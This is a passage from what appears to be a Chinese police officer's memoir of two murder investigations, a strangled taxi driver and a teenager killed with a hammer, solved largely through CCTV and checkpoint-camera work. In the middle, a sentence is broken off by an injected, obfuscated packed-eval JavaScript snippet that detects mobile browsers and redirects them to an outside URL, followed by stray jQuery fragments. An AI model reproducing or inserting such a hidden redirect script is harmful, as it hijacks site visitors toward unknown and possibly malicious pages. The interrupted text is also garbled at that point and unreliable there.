法医通报了死因，死者江某系颈部被机械窒息而死，就是电影电视中经常看到的被勒死的，死后尸体被铁丝捆绑后丢入石窟中。这是典型的杀人抛尸。尸体之前应该绑有重物，后来掉落，尸体浮出水面。由于案件前期主要是我在负责侦查，于是由我来介绍案件前期的侦查情况。大家一致认为，后来驾驶车辆的那名司机，就是本案的犯罪嫌疑人，但是犯罪嫌疑人身份和动机尚不清楚。专案组的工作就是查明身份，将嫌疑人抓捕归案。 但是由于嫌疑人都戴了太阳镜、棒球帽、放下遮阳板等伪装措施，一直没有获取完整的照片。追查车辆，成了我们的唯一可以追踪的线索。我们从龙湖返回大队办公室，在我们图侦工作室，继续开展视频侦查工作。 最后其实各单位都是回各单位，针对性的开展工作，石狮刑侦回去看石狮的。刑侦支队主要是法医。而破案的重任则还是由晋江刑侦大队承担，合成作战不再是人海战术，依靠的是传统手段和科技的有效结合。晋江刑侦大队从重案一、二队抽调人员、加上重案三队、图侦队全体作为本次破案的主力，投入侦查破案工作中。其实人数也就十几个人。还分成多组，一组去调查访问，两组看视频，一组人去看卡口图片。 我带着两组人，划分不同时间段开始看视频监控，通过掌握的卡口数据为分割，开始追踪这辆车的所有活动轨迹，从中找出有用的线索。这段时间，行动技术支队不断的提供电子数据分析支撑，但是一直没有任何发现。圣诞节，外面已经是热闹非凡，晚上我们打包来饮料和小吃，算是庆祝，然后坐在电脑前吃完喝完又继续。直到凌晨，大家都非常疲劳，为了保证持续的战斗力，我们决定先回去睡觉，宿舍在五楼六楼，食堂在一楼，睡醒就可以下楼吃过早餐，上午八点准时集合继续干。那两天基本上没有离开过那栋楼，大家就一直盯着电脑看，眼睛因为长时间工作，导致眼球充血，布满血丝，一个个看上去眼睛通红，在图侦工作室，眼药水是我们的必需品。 熬了到第三天上午，负责分析卡口照片的侦查员，终于有所发现。车子消失当天，我们从晋江周边的所有卡口中进行筛查，靠人工眼睛过滤了近百万张卡口车子照片后，终于发现了一辆可疑车辆，我迅速过去比对，这是一辆同款的黑色丰田花冠轿车，但是没有牌照，车子的香水座，车贴都换掉了，座垫也拆掉了，但是开车的人没有变化，还是之前那名嫌疑人，虽然只看到下巴，衣服也换了，不过帽子没有换。 找到这辆车以后，所有人开始围绕发现的卡口开展工作。一方面继续寻找更多的卡口照片，另一方面追踪视频。追踪视频的过程中，发现车子在东石镇环镇路一个路口两个探头之间停留了大约四个小时，为了查清楚，我和王副大队长驾车前往停车位置查看情况，另一方面，我布置侦查员继续追这辆车的视频。 四十分钟后，我和王副大队长赶到东石镇，在嫌疑人停车的位置附近，现场寻找监控，发现车子可能停车位置对面，有一家建材经营店，门口有安装视频监控探头。我们大喜过望，跟店老板聊了很久，终于答应让我们查看视频录像。 那个监控设备很老旧，研究了很久，发现没有密码，于是跟维护的公司联系，谁知那个公司早已经关门歇业，无人知晓设备情况。我只能一个个常用密码试，运气不错，密码居然简单的666888。校对完时间，我我开始回看录像，录像效果比我想象的还要差，由于距离较远，看着很模糊，不好判断是不是我们要找的车子。 运气是一个永远无法避开的主题。我们一直坚信天网恢恢疏而不漏，正当我还在艰难的寻找录像里车辆的时候，卡口组有重大突破，发现了黑色丰田花冠最新的车牌，通过辨认，驾驶员还是那名嫌疑人。通过发现，车子已经进入晋江辖区。紧接着，图侦队唯一的女民警小刘给我打电话，发现车辆视频轨迹，此刻正在晋江火车站出现。 我和王副大迅速调整部署，放弃了录像排查。一边通知警力紧急集合，准备拦截抓捕，视频组实施追踪位置。同时由我驾驶车辆，我们两个人火速赶往火车站方向。从东石到火车站25公里左右，我一度将车子时速拉高到120公里，现代朗动，车子性能不咋地，在县道和国道上，这个速度已经是车子可控极限，晋江经济发达，道路上车辆非常多，我们几乎是在车流中蛇形前进。 刚刚冲到安海，就接到电话，黑色丰田花冠已经离开火车站，穿过镇区，往安海方向驶离，在安吉路消失。我们一路狂飙。进入安吉路后，我们放慢速度，靠最左边行驶，因为随时可能与对方相遇，我们要仔细观察路面过往的车辆。开到一个路口，我远远的看到那天黑色丰田花冠，半个月以来，这辆车的样子一直在我脑海里，不曾离开，现在终于见到真身了。经过多次的变脸伪装，已经换了新的车牌，但是我还是一眼就认出了他，像一个熟悉的老朋友。 但是车子就停在路边，观察了一下，车内此时并没有人。 我们迅速掉头，将车停在黑色丰田花冠的前面几十米处，然后下车走路靠近车子，此时，我和王副大都是赤手空拳，什么装备都没有。我拿出手机，在微信群发了一个位置，发了一条信息：发现车辆，火速请求支援。 发完信息我将手机放回口袋，我已经无暇再看手机了，我和王副大几乎没有语言交流，两人缓步靠近车辆，站在车旁边几米处，警惕的看着四周。嫌疑人有几名，我们不清楚，携带什么武器器械，我们不知道，会遭遇什么情况，完全未知。在刑侦干久了，都明白一个道理，很多时候，危险都来自未知。同样内心恐惧也来自未知。我必须努力抑制内心的恐惧，此刻，我感觉我的肾上腺激素已经爆表，精神略带亢奋，全身的肌肉都已经紧张起来，外面的风很大，我丝毫察觉不到。不知道王副大内心是什么状态，我已经来不及问他。 我们能做的就是耐心的等待嫌疑人出现，并保持高度警惕。支援警力应该已经在路上了。只要再多等几分钟。 常可以看到那句话，永远不知道明天和意外哪一个先来。 我们在车边我们仅等了不到三分钟，增援警力还没有达到。此时，有一名男子正在走近那台黑色丰田花冠，他是从旁边一家沙县小吃店里出来，手上还拿着一瓶矿泉水。快到车边的时候，他按下了车子遥控器，双闪闪了两下，同时传来车辆防盗器特有的解锁的声音。我看了他一眼，与卡口照片中的犯罪嫌疑人长相很像，身材很瘦，脸上长有疙瘩。我转向王副大，他已经走向车辆驾驶座，我则紧跟着嫌疑人，只有三米左右的距离。从犯罪嫌疑人的动作看，他暂时还没有察觉。径直走向车门，拉开车门坐了进去。 不能再等了，说时迟那时快，电光火石之间，王副大队已经冲了过来，用身体顶着车门，并用用双手去控制犯罪嫌疑人的左手，我则从侧后侧身，把我的右手伸进去，搂住犯罪嫌疑人的脖子，我和王副大几乎同时用力，将犯罪嫌疑人拖出车子，此时车上掉下来一把匕首，嫌疑人没能拿住，掉落地上。我顺势将其压在地上，采取了一个跪骑的动作，双腿夹住嫌疑人左手臂，双腿膝盖跪压在嫌疑人背部，身体重心压在嫌疑人身上，将其死死压住。嫌疑人无法动弹，似乎还想挣扎，我大喊：警察，别动。王副大这时去控制嫌疑人的双腿。并不断朝周边围过来的群众喊话，警察办案，退后，警察办案，不要围观。 此时，周边已经围了不少群众，我们没有携带任何器械，手铐都没有。我紧张的张望四周，此刻形势非常微妙，增援的警力尚未到达，未带任何装备，不知道是否还有同伙，如果同伙此时冲出来，我和王副大就非常危险了。 时间一秒一秒的过去，我知道，增援警力肯定正在飞速赶来，我再坚持一会，虽然我的内心是非常紧张，但是我们表情仍然严肃，眼睛警惕的看着四周。 我们就是这样僵持着。我感觉自己的心跳特别快。环顾四周，车水马龙，一辆辆车子疾驰而过，也有看到的司机放慢速度，道路上滞留的车子越来越多，而围观的群众也越聚越多，最近的离我们最多三四米，我一直喊，退后，退后。声音越来越焦急。我观察了一下犯罪嫌疑人，他一声未吭。 人生中再一次觉得时间是如此的漫长，我也不敢动弹。 我看到马路对面一个熟悉的身影向我奔跑过来，飞身跨过隔离的绿化带，是老颜，他几乎是飞过来的，他带来一副手铐，以来就先把犯罪嫌疑人铐住。紧接着，陈大队长也到了，更多的警力抵达，两个方向围拢过来。还有警车闪烁着警灯。我终于可以松口气。 我们将嫌疑人从地上拉起来，他的脸一侧在水泥地面上擦破了。他的表情，已经是面如死灰，两眼无神。我们将其押进黑色丰田花冠，的后排，我和王副大坐他两边，大队一名司机开车，老颜坐副驾驶座，我们立即返回大队办案区。一辆警车闪着警灯在前面，后面跟着多辆车，形成一个车队，大家都开着双闪。一路疾驰。大队的办案区，还是市局院内。抵达到的时候，我看到副局长已经在门口等了。 车一到，技术勘查就过来了，我们押着嫌疑人在旁边看，当打开后备箱时，我们惊呆了，自制砍刀，钢丝绳，还有做好活结的钢丝绳，铁棍、还有自制的带倒刺的钢制破胎器。在车子扶手箱内，我们找到了被害人江某的手机，手机已经关机。 勘查完车辆，我们将人押进办案区。领导决定让我和王副大主审，因为是我们俩抓的，审讯中有心理战的优势。在审讯室，我几乎没有开口，王副大一直对他做思想工作，嫌疑人黄某，江西人，除了交代自己身份外，沉默了大约半个小时，一直没有吭声。我想好了一套词，准备助攻一下。我先自我介绍是江西人，是他老乡，是来帮他的。犯罪嫌疑人黄某突然向我要烟抽，我不抽烟，但是其他侦查员，迅速拿来了烟。几个人静静看着，犯罪嫌疑人黄某将一根烟抽完。 抽完一支烟，犯罪嫌疑人长叹了一口气。有经验的侦查员知道，犯罪嫌疑人已经结束内心的挣扎，心理上放弃抵抗了，交代案件就是时间问题，我们把握好节奏就行，犯罪嫌疑人有问必答的。 据犯罪嫌疑人黄某供述：黄某一直在石狮务工，因为自己创业开工厂，经营不善，血本无归，还欠了很多债。情急之下，黄某决定去搞钱。首先计划是抢一台载客的黑的，并开着抢来的车去跑黑的，接送客人，再伺机对客人实施抢劫和绑架。所以那天晚上他在石狮服装城招手拦了一辆黑的，去龙湖。那条路黄某之前去过，那边的村里有很多工厂，这是经过精心挑选的。有一段路无车无人。在路边停车时，黄某坐在后排，用事先准备好的钢丝，从背后将坐在驾驶座的被害人江某脖子勒住，一直到江某不再挣扎。之后，黄某用铁丝将江某捆好，丢进后备箱，车开到一个石窟边上，将后备箱对着石窟，打开后备箱，将江某尸体绑上一个石头，然后将尸体从后备箱搬出来，扔到石窟里去了。黄某就开着抢来的车，四处接客，但是由于某黄性格内向，不善交流，也没有接到几个客人，一直没有找到好下手的目标。期间为了逃避警方追查，黄某还将原车牌拆下来扔掉，并开到莆田地界，在路边偷了一个车牌换上，再返回泉州。期间接客收的钱不多，从江某身上仅搜到一千余元。很快就要花完了。黄某于是改变主意，准备绑架一个开宝马的工厂老板，所以置办了大量的工具。我们抓到他时，身上仅剩三元现金。黄某已经观察那位开宝马的多日，准备当晚动手。先在必经之路上放破胎器，破坏宝马的轮胎后，等车主下车就将控制，然后捆上开车带走，拿到家属通讯方式后，准备先将人杀了再抛尸龙湖石窟里，之后打电话向其家人索要赎金。 别问我为什么这么干，因为电影电视教的。绑架案一般都是先撕票再索要赎金，比较安全。我也不知道编剧们为什么要这么写。 好在我们行动速度够快，发现尸体后，两天的时间就将抓获，避免了一起命案的发生，那位开宝马的老板，运气不错。我们抢在了时间的前面。天下武功，唯快不破。其实破案也是一样的道理，必须快。 当晚，在天天渔港酒楼，开了两桌庆祝，晋江地区局的领导、安平市局的领导都来了，场面控制不住，几杯洋酒喝下去，我酒量差，饭还没吃完我就喝醉了，被人扛了回去。 四、无辜少年惨死公厕 作为安平市视频办成员，2015年开始，我开始了安平市社会治安综合治理视频监控（俗称“村村通”）的建设工作，经过了2014年的总结摸索探索，我们初步形成了一套特有的建设模式。我开始了涉及和规划工作。前期，我只是忙于泉州城安系统的新增点位规划工作，统筹规划晋江村村通的工作。先是试点村建设，再一、二、三期的规模建设。试点村最早自主设计建造，我们来总结优缺点，我只是做了一下概念性的规划。当作为诚安系统的补充。 时间过得很快，转眼就到2015年暑季。这期间图侦中队女警被调到了技术队，大队为了充实力量，招了很多辅警视频员，给我补充，我开始着手对辅警进行业务培训，之前只给图侦中队分配了两个招的的辅警，后来还剩一个。这些辅警需要实战进行锻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888588|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炼，每天我都放到其他专业队一起，开展工作。 与此同时，按照安平市政府的规划，我们大队原办公楼被列入了罗山组团，准备拆迁。我们所有人都在忙活，整理物品，准备搬离。办公室的物品已经整理差不多了。这一天晚上23时左右，我接到通知，鞋都发生一起命案，要我召集人手，赶往现场。这是个锻炼队伍的机会，我把所有的辅警都喊上。 鞋都是我的老根据地，地形我非常熟悉，多年的走街串巷，跑遍了每一条路，闭上眼睛我几乎都能还原所有的路线。 现场位于村中央的一处公厕。住在旁边租房内的一名刚从江西来找母亲团聚的男高中生，在公厕的女厕一边被人发现死亡。据称，该学生父母离异，一直跟着母亲生活，母亲在晋江务工，每年暑假，都要过来。两天前才刚到晋江。 我想起来我的学生时代，我的经历跟死者很相似，我也是留守儿童，只不过我运气不错，还好好的活着。 法医介绍说，死者生前在如厕时，被钝器击打头部数十下，导致整个头骨粉碎，人死亡。在现场，血液和白色的脑浆贱的到处都是，场面异常惨烈。我环顾了一公厕外围，有多条道路，不过每个路口都安装有摄像头，四条路总计装了六个，形成了一道闭环，这下我心里便有底了。两天前，我们召开工作推进会议，施工的公司还介绍说，这里已经建好并投入试用，这些都是小型的高清视频，如果监控已经启用，破案就非常容易。 我兴冲冲的赶去村警务室，整个大屏都是一片黑，原来施工的公司在这个进度这个环节造假，会议上说已经建好，但是并没有开始调试使用，工程人员只是把摄像头全部安装好而已，并没有录像。我的心瞬间凉了半截。整个人焉了。已经是凌晨2时许，我还是打电话把公司施工人员叫过来，要他们连夜将摄像头视频调试好。他们没有办法，只好连夜赶过来。 我们留在警务室，开始看原有的老旧视频录像资料，早在2010年前后，该村就安装有不少的视频探头，维护较好，大部分都能使用。我们把案发现场周边的视频探头挨个熟悉，并看了一遍。看到凌晨4时许，没有什么发现。 先返回单位休息几个小时，上午9时，在鞋都镇派出所召开案情分析会。我们提前抵达鞋都所会议室，这里再熟悉不过了，我曾在这里度过了八年的时光。据法医介绍，经过现场勘查尸体留下的伤痕判断，本案工具是一把小铁锤，锤面有特殊花纹，同时在当地鞋厂找到了同款的小锤子，是鞋厂特有的，让我们在工作中留意。接着，晋江地区局副局长、刑侦支队长、晋江局长、管刑侦副局长、刑侦大队长陆续发言，给我们动员打气，此案性质非常恶劣，力争早日破案。 从案件目前分析，被害人因为刚来本地，对地形不熟，到公厕上厕所，由于晚上没有灯光，误进了女厕，嫌疑人持铁锤溜进女厕后对被害人头部直接锤击，将其打到后，仍然继续锤击，直到被害人死亡，拿走被害人的手机后离开。据被害人母亲叙述，被害人拿了一部手机去上厕所，身上没有其他物品。根据现场分析，犯罪嫌疑人作案后不久，被害人就被人发现，并报警。大批警力到现场，犯罪嫌疑人极有可能混在围观群众中，观察我们的行动。所以当天，并没有在现场讨论案情和安排工作。 我负责视频组侦查，在会议上，发言介绍了一下视频监控的情况。说明了一下，新安装视频未投入使用的原因，目前还能用的视频，有老的视频，虽然画面不够清晰，但是至少还可以用。另外，本地居民大多经济条件较好，家中大多有自建视频探头。另外，在案发附近，有一个城安系统的高清视频，就在菜市场入口处。 目前视频侦查的方案是：以现场为心，在周边通过视频形成一个视频围墙，来开展侦查工作。主要查案发前后所有的录像。这个工作听起来没啥，做起来工作量可是海量。因为大多是居民家中的视频，还要及时的将录像拷贝。 我们第一天的工作，基本上都是拷贝监控录像。为此，我们打印了一张地图，然后挨家挨户拷贝监控录像，并且校对时间，在地图上标注。大部分的时候，只要条件允许，我们都是边拷贝边回放录像。 其他的侦查员被派去走访摸排。从案件现场分析，嫌疑人住在案件现场1000米以内，以现场为核心，半径1000米内，居住了近万人。所以排查起来工作量极大。整个村居住了近5万人，人口密度非常大，后来在法医的建议下，排查范围缩小到500米，这500米工作量也是非常巨大。 根据现场环境分析，犯罪嫌疑人极有可能住在附近，能用的手段只剩下刑事技术和图像分析了，前提是，有摄像头拍到了犯罪嫌疑人的影像，并且被我们发现。完成这个工作，难度极大，需要有超常的想象力和直觉，还必须要有足够的耐心。面对海量的视频，侦查方向就尤为重要。案发现场，环境非常复杂，离菜市场仅仅隔一道旧房子，道路狭窄，如同迷宫，出口众多。犯罪嫌疑人心狠手辣，被害人尸体上留下的伤痕显示，每一锤都足以致命；不仅如此，犯罪嫌疑人非常冷静，在几乎没有灯光的条件下，每一锤都准确无误。 对面这样丧心病狂的凶手，每个人都咬牙切齿，我更需要冷静和理性。所有参战的民警和辅警都有一个信念，必须将犯罪嫌疑人绳之于法，否则天理不容。 视频监控的原则，先易后难。当我发现找到的视频无法形成完整的包围圈时，只能扩大范围，还有就是重点突破。我们最后采取了一个比较笨的办法，跟地毯式排查一下，我们根据监控视频，一个路口一个路口的排除，来找嫌疑人可能的离开方向。如果都没有，就去找剩下的没有那条来来突破。 从东南西北四个方向，视频分析组，划定了片区，分成了四组开始了艰苦的排查工作。每发现一个可疑的目标，就追踪下去，用排除法进行筛查。案发后第二天下午，我们已经奋战了近四十个小时，排除了5名疑似的目标；此时大家都很疲劳。我们回到办公室的电脑前，在现场不远处的菜市场入口，那是高清视频，准备排查到这里了，视频中一名三十多岁穿着大短裤白色上衣的男子，引起了我们的注意，从视频录像看，其好像腰上别着一把锤子，在案发后约半个多小时的时候从菜市场往外走。现场到菜市场有一条宽约一米的人行巷道，不到一百米长。再从菜市场走到视频探头位置，仅需要两三分钟。 为了确认这名男子是否与本案有关，我们试着在众多的录像资料中追踪他，这名男子兜了半圈，走到离现场直线距离仅300米左右的一栋房子，进入了房子。大晚上的走路，还舍近求远，这让我们兴奋起来。这栋房子路口的监控显示，该名男子在案发前离开，从河边这条比较近的路，往案发现场走。回来的时候却走的菜市场，太反常了。我们立即报告情况，现场访查组边去那栋楼开展排查工作。 还在排查的时候，我们继续看监控，男子案发后回到那栋楼，再过了半个小时，又从楼里出来，往案发现场走。从他住的那栋楼，到案发现场最近的路就是沿着河边走的那条路。他走路的姿势很自然，从楼里出来的时候，手上提着一个袋子，他似乎要扔这个袋子，但是他住的楼下就有垃圾桶，他再一次舍近求远，往河边方向走。返回时，手上是空的，我们确认就是扔垃圾。 根据视频录像资料显示，这名男子还沿着河边走向案发现场方向，过了大约半个多小时，才返回。返回房子的时间是凌晨2时许，那是我们离开案发现场的时间，也就是如果他是犯罪嫌疑人的话，他返回了现场，混在人群中，悄悄观察我们，肯定是已经看到我们在勘查现场了。 现场访查组侦查员非常细致，确认了那名可疑男子进去的那栋楼是一栋出租房。据房东介绍，租房案发后有一名租客当天就退房离开，而且是实现说好的，住最后一天。再次掉视频发现，案发后凌晨六时许，那名男子就带着行李离开了租房，已经跟房东说退房了。 因为那栋房子路口的视频比较模糊，不够清晰，房东未能认出是否是那名房客。侦查员决定进入那名男子住的房间看看。进到房间就发现，那名男子住的房间内的墙面上，有那种特殊的锤子锤在墙上留下的特殊的印记。侦查员将租房用的身份信息抄了回来。通过数据查询，我们发现这名可疑男子，曾因抢劫罪被判处有期徒刑十二年，半年前刚刚提前释放。案发后就离开晋江，去向不明。从现有的迹象分析，他就是犯罪嫌疑人。 侦查工作，立即转为抓捕行动和取证。大队领导立即带领侦查员立即开展了追捕。现场勘查人员到犯罪嫌疑人住过的房间进行勘查取证。 我则继续找更多的视频监控资料，根绝视频资料，去找犯罪嫌疑人可能丢弃物品的地方，我们推测，作案时犯罪嫌疑人穿的衣服溅有血迹和被害人的脑浆，犯罪嫌疑人将穿到现场的衣服换下，装进了袋子带了出来，扔掉。之后又返回现场观察警方行动。我们开始一路翻找垃圾桶。同时还有一个很重要的物品，那把作案用的锤子，房间内没有找到，嫌疑人应该是扔掉了，最有可能扔的地方就是那条小河，这条河源头并不清楚，穿过了整个村子，河道的两岸是用当地产的石头砌成，沿河两边都有一条几米宽的水泥路，每隔一段距离，建一座桥。有的宽，有的窄，但是都可以通行车辆。 我们协调安排巡逻队员和环卫工人在河沟里捞物证，这个工作也由我负责，于是顶着火辣的太阳，在河边闻着河沟里散发出来的恶臭，看着大家一起在河里捞东西。 （图片来自网络，与本案无关，不过环境相同） 我们找了一天，因为过了两天，环卫工人已经将垃圾桶里清理过两次了，所以我没有任何收获。而河沟，因为长期被污染，水体变黑，污泥也很多，河道里还有大量的塑料垃圾。我看着很多巡逻队员，拿着那种长竹竿，一端绑着铁耙，属于专门清理河道垃圾用的自制土工具。在河里开始打捞作业。可惜，我一直没有等到任何有价值的物品被捞上来。垃圾倒是捞了不少。 到了下午，我们已经被炙烤了一天，领导来电询问情况后，决定让我们撤回。我们回到单位，开始搬东西到新办公楼。 一天后，犯罪嫌疑人在外地被抓获，经审讯，嫌疑人交代了整个杀人抢劫的过程，同时经指认，找到了作案的凶器和作案时的衣服。经审理，晋江地区中级人民法院一审判处其死刑。